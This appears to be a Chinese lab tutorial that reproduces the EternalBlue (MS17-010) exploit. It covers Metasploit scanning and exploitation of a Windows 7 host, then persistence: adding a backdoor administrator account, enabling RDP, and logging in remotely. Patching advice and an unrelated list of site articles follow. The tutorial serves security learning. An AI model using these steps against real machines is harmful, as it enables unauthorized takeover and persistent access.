MS17-010（Eternal blue永恒之蓝）漏洞利用+修复方法

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复

一、漏洞简介

永恒之蓝（EternalBlue）是一个由美国国家安全局（NSA）开发的漏洞利用工具，最初在2017年由“影子经纪人”（Shadow Brokers）组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞（CVE-2017-0144），允许攻击者远程执行代码，无需用户交互即可远程控制受感染的计算机。具体来说，它利用了Windows Server Message Block (SMB) v1协议中的漏洞，使得攻击者可以在目标系统上执行恶意代码，甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注，尤其是在2017年的“惊叹号勒索软件”（WannaCry ransomware）攻击中，该漏洞被大规模利用，造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处，也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞（CVE-2017-0144），主要涉及以下几个方面的技术细节：

  1. Windows SMB服务漏洞：漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码（RCE）：漏洞允许攻击者通过发送特制的网络数据包，无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证：攻击者可以在不需要凭据或者认证的情况下利用漏洞，这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统：

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机：Linux kali （IP：192.168.220.128）

  2. 靶机：Windows 7 旗舰版（IP；192.168.220.133）

环境说明：Windows 7 防火墙关闭，445端口打开，两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机（主机发现）

扫描结果：

  1. 192.168.220.2

    • 只有一个端口开放：53/tcp（domain）。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态，表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放，包括80/tcp（http）、135/tcp（msrpc）、139/tcp（netbios-ssn）、445/tcp（microsoft-ds）、5357/tcp（wsdapi）以及一系列高端口（49152-49165/tcp）。

    • 这表明这台主机可能是一台Windows主机，同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码：ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述：

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期：2017-03-14

    • 等级：average

    • 检查：Yes

    • 描述：MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用，用于执行远程代码。

    目标包括：

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞，通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：Yes

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括：

    • 自动目标

    • PowerShell

    • 本地上传（Native upload）

    • MOF上传（MOF upload）

    这个模块利用了SMB服务上的漏洞，同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期：2017-03-14

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令，同样是基于SMB服务上的漏洞，端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期：未指定

    • 等级：normal

    • 检查：No

    • 描述：MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响，同样基于SMB服务，端口是TCP端口445。

3.对主机进行扫描，查看其是否有永恒之蓝漏洞

使用模块24开始攻击：use 24，也可以用use scanner/smb/smb_ms17_010

用options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值，用run开始

  • VULNERABLE to MS17-010：扫描结果显示目标主机存在MS17-010漏洞，即永恒之蓝漏洞。

  • 操作系统信息：目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击：use 0，也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数：options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码：chcp 65001

查看IP：ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名，12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行，在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端，输入rdesktop 192.168.220.133

中途会让确认，输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功！

七、漏洞修复

永恒之蓝漏洞（EternalBlue）是一个影响Windows操作系统的严重安全漏洞，可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞，以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法：

  1. 安装官方补丁：

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统：

    • 确保操作系统是最新的版本，并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务：

    • 如果不需要使用远程桌面服务（RDP）或SMB服务，可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙：

    • 在防火墙上设置规则，限制远程访问和网络流量，防止未经授权的访问和攻击。

  5. 网络隔离：

    • 将重要的系统和网络基础设施隔离在内部网络中，减少来自外部网络的直接访问。

  6. 使用安全软件：

    • 安装和使用有效的安全软件，如防病毒软件、防火墙和入侵检测系统（IDS），帮助识别和阻止潜在的威胁。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/355707.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Marin说PCB之如何在CST仿真软件中添加三端子的电容模型？

Marin说PCB之如何在CST仿真软件中添加三端子的电容模型？

上期文章小编我给诸位道友们分享了Murata家的三端子电容的一些特性，这期文章接着上回把三端子电容模型如何在CST软件中搭建给大家分享一下，小编我辛辛苦苦兢兢业业的给各位帖子们免费分享我的一些设计心得，这些按照小编我华山派门派的要求都是…
阅读更多...
人脸识别——可解释的人脸识别（XFR）人脸识别模型是根据什么来识别个人的

人脸识别——可解释的人脸识别（XFR）人脸识别模型是根据什么来识别个人的

可解释性人脸识别（XFR）？ 人脸识别有一个任务叫1:N（识别）。这个任务将一个人的照片与N张注册照片进行比较，找出相似度最高的人。 这项任务用于刑事调查和出入境点。在犯罪调查中，任务从监控摄像…
阅读更多...
大厂晋升学习方法一：海绵学习法

大厂晋升学习方法一：海绵学习法

早晨 30 分钟 首先，我们可以把起床的闹钟提前 30 分钟，比如原来 07:30 的闹钟可以改为 07:00。不用担心提前 30 分钟起床会影响休息质量，习惯以后，早起 30 分钟不但不会影响一天的精力，甚至可能反而让人更有精神。早起…
阅读更多...
51单片机宏定义的例子

51单片机宏定义的例子

代码 demo.c #include "hardware.h"void delay() {volatile unsigned int n;for(n 0; n < 50000; n); }int main(void) {IO_init();while(1){PINSET(LED);delay();PINCLR(LED);delay();}return 0; }cfg.h #ifndef _CFG_H_ #define _CFG_H_// #define F_CPU …
阅读更多...
学校教育为什么要选择SOLIDWORKS教育版？

学校教育为什么要选择SOLIDWORKS教育版？

在数字化和智能化时代&#xff0c;学校教育正面临着挑战与机遇。为了培养具备创新能力和实践技能的新时代人才&#xff0c;学校教育需要引入先进的教学工具和资源。SOLIDWORKS教育版作为一款专为教育和培训目的而设计的软件&#xff0c;以其全方面的功能、友好的用户界面、丰富…
阅读更多...
顶顶通呼叫中心中间件-替换授权文件使授权文件生效指南

顶顶通呼叫中心中间件-替换授权文件使授权文件生效指南

一、登录my.ddrj.com下载授权文件 登录地址&#xff1a;用户-顶顶通授权管理系统 登录之后正式授权然后点击查看把license.json下载下来&#xff0c;然后替换到fs的授权文件路径&#xff0c;默认路径是&#xff1a;/ddt/fs/conf 如果安装路径不一样就需要自己去看看授权文件存…
阅读更多...
【网络安全的神秘世界】文件上传、JBOSS、Struct漏洞复现

【网络安全的神秘世界】文件上传、JBOSS、Struct漏洞复现

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 攻防环境搭建及漏洞原理学习 Kali安装docker 安装教程 PHP攻防环境搭建 中间件介绍 介于应用系统和系统软件之间的软件。…
阅读更多...
Day7—zookeeper基本操作

Day7—zookeeper基本操作

ZooKeeper介绍 ZooKeeper&#xff08;动物园管理员&#xff09;是一个分布式的、开源的分布式应用程序的协调服务框架&#xff0c;简称zk。ZooKeeper是Apache Hadoop 项目下的一个子项目&#xff0c;是一个树形目录服务。 ZooKeeper的主要功能 配置管理 分布式锁 集群管理…
阅读更多...
VBA学习(13):获取多层文件夹内文件名并建立超链接

VBA学习(13):获取多层文件夹内文件名并建立超链接

代码使用了FileSystemObject对象和递归的方法实现文件夹和文件的遍历功能。分别将文件夹名称和文件名提取在表格的A/B列&#xff0c;并对文件名创建了超链接。 示例代码如下&#xff1a; Sub AutoAddLink()Dim strFldPath As StringWith Application.FileDialog(msoFileDialog…
阅读更多...
Comparison method violates its general contract! 神奇的报错

Comparison method violates its general contract! 神奇的报错

发生情况 定位到问题代码如下&#xff08;脱敏处理过后&#xff09;&#xff0c;意思是集合排序&#xff0c;如果第一个元素大于第二个元素&#xff0c;比较结果返回1&#xff0c;否则返回-1&#xff0c;这里粗略的认为小于和等于是一样的结果 List<Integer> list Arr…
阅读更多...
计算机网络 —— 应用层（万维网）

计算机网络 —— 应用层（万维网）

计算机网络 —— 应用层&#xff08;万维网&#xff09; 万维网核心组成部分特点 URLHTTP版本请求消息结构响应消息结构工作流程 Cookie如何工作主要用途安全与隐私类型 Web缓存客户端缓存&#xff08;浏览器缓存&#xff09;服务器端缓存 今天我们来了解万维网&#xff1a; 万…
阅读更多...
SQLite 3 优化批量数据存储操作---事务transaction机制

SQLite 3 优化批量数据存储操作---事务transaction机制

0、事务操作 事务的目的是为了保证数据的一致性和完整性。 事务&#xff08;Transaction&#xff09;具有以下四个标准属性&#xff0c;通常根据首字母缩写为 ACID&#xff1a; 原子性&#xff08;Atomicity&#xff09;&#xff1a;确保工作单位内的所有操作都成功完成&…
阅读更多...
Prometheus之图形化界面grafana与服务发现

Prometheus之图形化界面grafana与服务发现

前言 上一篇文章中我们介绍了Prometheus的组件&#xff0c;监控作用&#xff0c;部署方式&#xff0c;以及如何通过在客户机安装exporter再添加监控项的操作。 但是不免会发现原生的Prometheus的图像化界面对于监控数据并不能其他很好的展示效果。所以本次我们将介绍一…
阅读更多...
什么开放式运动耳机好用？2024五大爆款机型安利！

什么开放式运动耳机好用？2024五大爆款机型安利！

​对于喜欢运动并听歌的人来说&#xff0c;耳机的舒适度可是运动时候自己能突破极限&#xff0c;挥汗如雨时候能否保持最佳状态的关键点。因此不管我们运动时候戴的是顶配旗舰级的耳机&#xff0c;主打性价比的入门级耳机&#xff0c;都要戴着它们进行运动&#xff0c;要是由于…
阅读更多...
视频智能分析平台智能边缘分析一体机安防监控平台打手机检测算法工作原理介绍

视频智能分析平台智能边缘分析一体机安防监控平台打手机检测算法工作原理介绍

智能边缘分析一体机的打手机检测算法是一种集成了计算机视觉和人工智能技术的先进算法&#xff0c;专门用于实时监测和识别监控画面中的打手机行为。以下是关于该算法的详细介绍&#xff1a; 工作原理 1、视频流获取&#xff1a; 智能边缘分析一体机首先通过连接的视频监控设…
阅读更多...
Java基础之练习(2)

Java基础之练习(2)

需求: 键盘录入一个字符串,使用程序实现在控制台遍历该字符串 package String;import java.util.Scanner;public class StringDemo5 {public static void main(String[] args) {//录入一个字符串Scanner sc new Scanner(System.in);System.out.println("请输入一个字符串…
阅读更多...
一站式家装服务管理系统的设计

一站式家装服务管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;管理员管理&#xff0c;装修风格管理&#xff0c;主材管理&#xff0c;用户管理&#xff0c;基础数据管理 前台账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;装修风格&#xff0…
阅读更多...
Avalonia：一个.NET跨平台UI框架

Avalonia：一个.NET跨平台UI框架

概述 Avalonia是一个强大的框架&#xff0c;使开发人员能够使用. NET创建跨平台应用程序。它使用自己的渲染引擎来绘制UI控件&#xff0c;确保在各种平台上保持一致的外观和行为&#xff0c;包括Windows&#xff0c;macOS&#xff0c;Linux&#xff0c;Android&#xff0c;iOS…
阅读更多...
Java宝藏实验资源库（6）异常

Java宝藏实验资源库（6）异常

一、实验目的 理解Java的异常处理机制。掌握常用的异常处理方法&#xff0c;能够熟练使用try…catch和throw处理异常。了解常用的内置异常类。掌握自定义异常的编写与使用方法 二、实验内容、过程及结果 *12.3 (ArrayIndexOutOfBoundsException) Write a program that meet…
阅读更多...
【Autoware】Autoware.universe安装过程与问题记录

【Autoware】Autoware.universe安装过程与问题记录

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍Autoware.universe安装过程与问题记录。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023